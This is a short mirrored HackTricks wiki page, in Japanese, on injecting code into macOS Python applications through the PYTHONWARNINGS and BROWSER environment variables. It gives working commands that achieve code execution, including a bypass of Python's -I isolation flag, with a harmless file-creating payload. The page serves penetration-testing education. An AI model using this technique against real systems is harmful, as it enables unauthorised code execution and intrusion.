mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
814 B
814 B
macOS Python Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
PYTHONWARNINGS
と BROWSER
環境変数を介して
これらの環境変数を変更することで、pythonが呼び出されるたびに任意のコードを実行することが可能です。例えば:
# Generate example python script
echo "print('hi')" > /tmp/script.py
# RCE which will generate file /tmp/hacktricks
PYTHONWARNINGS="all:0:antigravity.x:0:0" BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" python3 /tmp/script.py
# RCE which will generate file /tmp/hacktricks bypassing "-I" injecting "-W" before the script to execute
BROWSER="/bin/sh -c 'touch /tmp/hacktricks' #%s" python3 -I -W all:0:antigravity.x:0:0 /tmp/script.py
{{#include ../../../banners/hacktricks-training.md}}